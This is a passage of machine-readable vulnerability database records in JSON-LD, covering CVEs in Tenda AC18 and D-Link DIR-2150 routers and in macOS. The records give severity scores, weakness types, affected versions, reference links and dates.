"attackVector": "Network", "attackComplexity": "Low", "privilegesRequired": "None", "userInteraction": "None", "scope": "Unchanged", "confidentialityImpact": "High", "integrityImpact": "High", "availabilityImpact": "High", "baseScore": 9.8, "baseSeverity": "Critical", "exploitabilityScore": null, "impactScore": null, "trust": 0.8 } ] } ], "@context": { "cvssV3": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" } }, "cvssV2": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" } }, "severity": { "@id": "https://www.variotdbs.pl/ref/cvss/severity", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" } }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "description": { "sources": [ { "db": "NVD", "id": "CVE-2024-33182" }, { "db": "JVNDB", "id": "JVNDB-2024-004511" } ], "data": "Tenda AC18 V15.03.3.10_EN was discovered to contain a stack-based buffer overflow vulnerability via the deviceId parameter at ip/goform/addWifiMacFilter. Tenda of AC18 An out-of-bounds write vulnerability exists in firmware.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state", "trust": 1.62, "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "external_ids": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2024-004511" }, { "db": "NVD", "id": "CVE-2024-33182" } ], "data": [ { "db": "NVD", "id": "CVE-2024-33182", "trust": 2.6 }, { "db": "JVNDB", "id": "JVNDB-2024-004511", "trust": 0.8 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot": { "sources": [ { "db": "VARIoT devices database", "id": null } ], "data": true, "trust": 0.40125, "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources": { "data": [ { "db": "JVNDB", "id": "JVNDB-2024-004511" }, { "db": "NVD", "id": "CVE-2024-33182" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } } }, "problemtype_data": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2024-004511" }, { "db": "NVD", "id": "CVE-2024-33182" } ], "data": [ { "trust": 1.0, "problemtype": "CWE-787" }, { "trust": 0.8, "problemtype": "Out-of-bounds writing (CWE-787) [NVD evaluation ]" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "references": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2024-004511" }, { "db": "NVD", "id": "CVE-2024-33182" } ], "data": [ { "url": "https://palm-vertebra-fe9.notion.site/addwifimacfilter_1-067fa6984f0d4933b88c63efd7486479", "trust": 1.8 }, { "url": "https://nvd.nist.gov/vuln/detail/cve-2024-33182", "trust": 0.8 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/references#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources_update_date": { "data": [ { "db": "JVNDB", "id": "JVNDB-2024-004511", "date": "2024-07-22T05:25:00" }, { "db": "NVD", "id": "CVE-2024-33182", "date": "2024-07-19T18:56:50.050000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } } }, "sources_release_date": { "data": [ { "db": "JVNDB", "id": "JVNDB-2024-004511", "date": "2024-07-22T00:00:00" }, { "db": "NVD", "id": "CVE-2024-33182", "date": "2024-07-16T16:15:04.850000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } } }, "title": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2024-004511" } ], "data": "Tenda  of  AC18  Out-of-bounds write vulnerability in firmware", "trust": 0.8, "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cve": "CVE-2024-33182", "last_update_date": "2024-07-23T22:45:56.131000Z", "@id": "https://www.variotdbs.pl/vuln/VAR-202407-0778", "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" } } } ``` ## [var-202407-0745](https://vulnerability.circl.lu/vuln/var-202407-0745) ```json { "id": "VAR-202407-0745", "affected_products": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2024-004512" }, { "db": "NVD", "id": "CVE-2024-33180" } ], "data": [ { "vendor": "tendacn", "model": "ac18", "version": "15.03.3.10", "scope": "eq", "trust": 1.0 }, { "vendor": "tenda", "model": "ac18", "version": null, "scope": null, "trust": 0.8 }, { "vendor": "tenda", "model": "ac18", "version": null, "scope": "eq", "trust": 0.8 }, { "vendor": "tenda", "model": "ac18", "version": "ac18 firmware 15.03.3.10", "scope": "eq", "trust": 0.8 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cvss": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2024-004512" }, { "db": "NVD", "id": "CVE-2024-33180" } ], "data": [ { "severity": [ { "value": "CRITICAL", "author": "NVD", "id": "CVE-2024-33180", "trust": 1.8 } ], "cvssV2": [], "cvssV3": [ { "exploitabilityScore": 3.9, "impactScore": 5.9, "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "author": "NVD", "trust": 1.0 }, { "id": "CVE-2024-33180", "author": "NVD", "version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "attackVector": "Network", "attackComplexity": "Low", "privilegesRequired": "None", "userInteraction": "None", "scope": "Unchanged", "confidentialityImpact": "High", "integrityImpact": "High", "availabilityImpact": "High", "baseScore": 9.8, "baseSeverity": "Critical", "exploitabilityScore": null, "impactScore": null, "trust": 0.8 } ] } ], "@context": { "cvssV3": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" } }, "cvssV2": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" } }, "severity": { "@id": "https://www.variotdbs.pl/ref/cvss/severity", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" } }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "description": { "sources": [ { "db": "NVD", "id": "CVE-2024-33180" }, { "db": "JVNDB", "id": "JVNDB-2024-004512" } ], "data": "Tenda AC18 V15.03.3.10_EN was discovered to contain a stack-based buffer overflow vulnerability via the deviceId parameter at ip/goform/saveParentControlInfo. Tenda of AC18 An out-of-bounds write vulnerability exists in firmware.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state", "trust": 1.62, "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "external_ids": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2024-004512" }, { "db": "NVD", "id": "CVE-2024-33180" } ], "data": [ { "db": "NVD", "id": "CVE-2024-33180", "trust": 2.6 }, { "db": "JVNDB", "id": "JVNDB-2024-004512", "trust": 0.8 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot": { "sources": [ { "db": "VARIoT devices database", "id": null } ], "data": true, "trust": 0.40125, "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources": { "data": [ { "db": "JVNDB", "id": "JVNDB-2024-004512" }, { "db": "NVD", "id": "CVE-2024-33180" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } } }, "problemtype_data": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2024-004512" }, { "db": "NVD", "id": "CVE-2024-33180" } ], "data": [ { "trust": 1.0, "problemtype": "CWE-787" }, { "trust": 0.8, "problemtype": "Out-of-bounds writing (CWE-787) [NVD evaluation ]" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "references": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2024-004512" }, { "db": "NVD", "id": "CVE-2024-33180" } ], "data": [ { "url": "https://palm-vertebra-fe9.notion.site/saveparentcontrolinfo_1-7c9695d0251945ae8006db705b9b80ac", "trust": 1.8 }, { "url": "https://nvd.nist.gov/vuln/detail/cve-2024-33180", "trust": 0.8 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/references#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources_update_date": { "data": [ { "db": "JVNDB", "id": "JVNDB-2024-004512", "date": "2024-07-22T05:25:00" }, { "db": "NVD", "id": "CVE-2024-33180", "date": "2024-07-19T18:56:27.127000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } } }, "sources_release_date": { "data": [ { "db": "JVNDB", "id": "JVNDB-2024-004512", "date": "2024-07-22T00:00:00" }, { "db": "NVD", "id": "CVE-2024-33180", "date": "2024-07-16T16:15:04.767000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } } }, "title": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2024-004512" } ], "data": "Tenda  of  AC18  Out-of-bounds write vulnerability in firmware", "trust": 0.8, "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cve": "CVE-2024-33180", "last_update_date": "2024-07-23T22:45:55.498000Z", "@id": "https://www.variotdbs.pl/vuln/VAR-202407-0745", "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" } } } ``` ## [var-202305-1479](https://vulnerability.circl.lu/vuln/var-202305-1479) ```json { "id": "VAR-202305-1479", "affected_products": { "sources": [ { "db": "ZDI", "id": "ZDI-23-632" }, { "db": "CNVD", "id": "CNVD-2024-33400" } ], "data": [ { "vendor": "d link", "model": "dir-2150", "version": null, "scope": null, "trust": 1.3 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "credits": { "sources": [ { "db": "ZDI", "id": "ZDI-23-632" } ], "data": "Anonymous", "trust": 0.7, "@context": { "@vocab": "https://www.variotdbs.pl/ref/credits#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cvss": { "sources": [ { "db": "ZDI", "id": "ZDI-23-632" }, { "db": "CNVD", "id": "CNVD-2024-33400" }, { "db": "NVD", "id": "CVE-2023-34276" } ], "data": [ { "severity": [ { "value": "MEDIUM", "author": "zdi-disclosures@trendmicro.com", "id": "CVE-2023-34276", "trust": 1.0 }, { "id": "CVE-2023-34276", "value": "MEDIUM", "author": "ZDI", "trust": 0.7 }, { "value": "HIGH", "author": "CNVD", "id": "CNVD-2024-33400", "trust": 0.6 } ], "cvssV2": [ { "version": "2.0", "vectorString": "AV:A/AC:L/Au:M/C:C/I:C/A:C", "accessVector": "ADJACENT_NETWORK", "accessComplexity": "LOW", "authentication": "MULTIPLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "severity": "HIGH", "exploitabilityScore": 4.1, "impactScore": 10.0, "id": "CNVD-2024-33400", "author": "CNVD", "trust": 0.6 } ], "cvssV3": [ { "exploitabilityScore": 0.9, "impactScore": 5.9, "version": "3.0", "vectorString": "CVSS:3.0/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 6.8, "baseSeverity": "MEDIUM", "author": "zdi-disclosures@trendmicro.com", "trust": 1.0 }, { "id": "CVE-2023-34276", "author": "ZDI", "version": "3.0", "vectorString": "AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "attackVector": "ADJACENT", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 6.8, "baseSeverity": "MEDIUM", "exploitabilityScore": 0.9, "impactScore": 5.9, "trust": 0.7 } ] } ], "@context": { "cvssV3": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" } }, "cvssV2": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" } }, "severity": { "@id": "https://www.variotdbs.pl/ref/cvss/severity", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" } }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "description": { "sources": [ { "db": "NVD", "id": "CVE-2023-34276" }, { "db": "ZDI", "id": "ZDI-23-632" }, { "db": "CNVD", "id": "CNVD-2024-33400" } ], "data": "D-Link DIR-2150 SetTriggerPPPoEValidate Username Command Injection Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of D-Link DIR-2150 routers. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed. \n\nThe specific flaw exists within the SOAP API interface, which listens on TCP port 80 by default. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-20554. D-Link DIR-2150 is a wireless router from D-Link, a Chinese company", "trust": 2.07, "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "external_ids": { "sources": [ { "db": "ZDI", "id": "ZDI-23-632" }, { "db": "CNVD", "id": "CNVD-2024-33400" }, { "db": "NVD", "id": "CVE-2023-34276" } ], "data": [ { "db": "NVD", "id": "CVE-2023-34276", "trust": 2.3 }, { "db": "ZDI", "id": "ZDI-23-632", "trust": 1.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-20554", "trust": 0.7 }, { "db": "CNVD", "id": "CNVD-2024-33400", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-33400" } ], "data": true, "trust": 0.06, "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot_taxonomy": { "sources": [ { "db": "CNVD", "id": "CNVD-2024-33400" } ], "data": [ { "category": [ "Network device" ], "sub_category": null, "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "patch": { "sources": [ { "db": "ZDI", "id": "ZDI-23-632" }, { "db": "CNVD", "id": "CNVD-2024-33400" } ], "data": [ { "title": "Fixed in Firmware v1.06", "url": "https://support.dlink.com.au/download/download.aspx?product=dir-2150", "trust": 0.7 }, { "url": "https://www.cnvd.org.cn/patchinfo/show/571196", "title": "Patch for D-Link DIR-2150 Command Injection Vulnerability", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/patch#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources": { "data": [ { "db": "ZDI", "id": "ZDI-23-632" }, { "db": "CNVD", "id": "CNVD-2024-33400" }, { "db": "NVD", "id": "CVE-2023-34276" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } } }, "problemtype_data": { "sources": [ { "db": "NVD", "id": "CVE-2023-34276" } ], "data": [ { "trust": 1.0, "problemtype": "CWE-78" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "references": { "sources": [ { "db": "ZDI", "id": "ZDI-23-632" }, { "db": "CNVD", "id": "CNVD-2024-33400" }, { "db": "NVD", "id": "CVE-2023-34276" } ], "data": [ { "url": "https://www.zerodayinitiative.com/advisories/zdi-23-632/", "trust": 1.0 }, { "url": "https://support.dlink.com.au/download/download.aspx?product=dir-2150", "trust": 0.7 }, { "url": "http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2023-34276", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/references#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources_update_date": { "data": [ { "db": "ZDI", "id": "ZDI-23-632", "date": "2023-06-02T00:00:00" }, { "db": "CNVD", "id": "CNVD-2024-33400", "date": "2024-07-22T00:00:00" }, { "db": "NVD", "id": "CVE-2023-34276", "date": "2024-05-03T12:50:34.250000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } } }, "sources_release_date": { "data": [ { "db": "ZDI", "id": "ZDI-23-632", "date": "2023-05-15T00:00:00" }, { "db": "CNVD", "id": "CNVD-2024-33400", "date": "2024-07-17T00:00:00" }, { "db": "NVD", "id": "CVE-2023-34276", "date": "2024-05-03T02:15:26.653000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } } }, "title": { "sources": [ { "db": "ZDI", "id": "ZDI-23-632" } ], "data": "D-Link DIR-2150 SetTriggerPPPoEValidate Username Command Injection Remote Code Execution Vulnerability", "trust": 0.7, "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cve": "CVE-2023-34276", "last_update_date": "2024-07-23T22:45:09.335000Z", "@id": "https://www.variotdbs.pl/vuln/VAR-202305-1479", "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" } } } ``` ## [var-202108-1158](https://vulnerability.circl.lu/vuln/var-202108-1158) ```json { "id": "VAR-202108-1158", "affected_products": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2021-021235" }, { "db": "NVD", "id": "CVE-2021-31004" } ], "data": [ { "vendor": "apple", "model": "macos", "version": "11.5", "scope": "lt", "trust": 1.0 }, { "vendor": "apple", "model": "macos", "version": "11.0", "scope": "gte", "trust": 1.0 }, { "vendor": "apple", "model": "macos", "version": "12.0.0", "scope": "eq", "trust": 1.0 }, { "vendor": "アップル", "model": "macos", "version": "12.0.0", "scope": "eq", "trust": 0.8 }, { "vendor": "アップル", "model": "macos", "version": null, "scope": "eq", "trust": 0.8 }, { "vendor": "アップル", "model": "macos", "version": "11.0 that's all 11.5", "scope": "eq", "trust": 0.8 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "configurations": { "sources": [ { "db": "NVD", "id": "CVE-2021-31004" } ], "data": [ { "CVE_data_version": "4.0", "nodes": [ { "operator": "OR", "children": [], "cpe_match": [ { "vulnerable": true, "cpe23Uri": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0", "versionEndExcluding": "11.5", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:o:apple:macos:12.0.0:*:*:*:*:*:*:*", "cpe_name": [] } ] } ] } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/configurations#", "data": { "@container": "@list" }, "nodes": { "@container": "@list" }, "cpe_match": { "@container": "@list" }, "children": { "@container": "@list" } } }, "cvss": { "sources": [ { "db": "VULHUB", "id": "VHN-390737" }, { "db": "JVNDB", "id": "JVNDB-2021-021235" }, { "db": "CNNVD", "id": "CNNVD-202108-2113" }, { "db": "NVD", "id": "CVE-2021-31004" } ], "data": [ { "severity": [ { "value": "HIGH", "author": "NVD", "id": "CVE-2021-31004", "trust": 1.8 }, { "id": "CNNVD-202108-2113", "value": "HIGH", "author": "CNNVD", "trust": 0.6 }, { "value": "MEDIUM", "author": "VULHUB", "id": "VHN-390737", "trust": 0.1 } ], "cvssV2": [ { "exploitabilityScore": 4.9, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": true, "version": "2.0", "vectorString": "AV:N/AC:H/Au:N/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 5.1, "author": "NVD", "severity": "MEDIUM", "trust": 1.0 }, { "id": "CVE-2021-31004", "author": "NVD", "version": "2.0", "vectorString": "AV:N/AC:H/Au:N/C:P/I:P/A:P", "accessVector": "Network", "accessComplexity": "High", "authentication": "None", "confidentialityImpact": "Partial", "integrityImpact": "Partial", "availabilityImpact": "Partial", "baseScore": 5.1, "severity": "Medium", "exploitabilityScore": null, "impactScore": null, "acInsufInfo": null, "obtainAllPrivilege": null, "obtainUserPrivilege": null, "obtainOtherPrivilege": null, "userInteractionRequired": null, "trust": 0.8 }, { "version": "2.0", "vectorString": "AV:N/AC:H/AU:N/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 5.1, "severity": "MEDIUM", "exploitabilityScore": 4.9, "impactScore": 6.4, "id": "VHN-390737", "author": "VULHUB", "trust": 0.1 } ], "cvssV3": [ { "exploitabilityScore": 1.0, "impactScore": 5.9, "version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 7.0, "baseSeverity": "HIGH", "author": "NVD", "trust": 1.0 }, { "id": "CVE-2021-31004", "author": "NVD", "version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "attackVector": "Local", "attackComplexity": "High", "privilegesRequired": "None", "userInteraction": "Required", "scope": "Unchanged", "confidentialityImpact": "High", "integrityImpact": "High", "availabilityImpact": "High", "baseScore": 7.0, "baseSeverity": "High", "exploitabilityScore": null, "impactScore": null, "trust": 0.8 } ] } ], "@context": { "cvssV3": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" } }, "cvssV2": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" } }, "severity": { "@id": "https://www.variotdbs.pl/ref/cvss/severity", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" } }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "description": { "sources": [ { "db": "NVD", "id": "CVE-2021-31004" }, { "db": "JVNDB", "id": "JVNDB-2021-021235" }, { "db": "VULHUB", "id": "VHN-390737" }, { "db": "VULMON", "id": "CVE-2021-31004" } ], "data": "A race condition was addressed with improved locking. This issue is fixed in macOS Monterey 12.0.1, macOS Big Sur 11.5. An application may be able to gain elevated privileges. apple's macOS There is a race condition vulnerability in.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. ** REJECT ** DO NOT USE THIS CANDIDATE NUMBER. 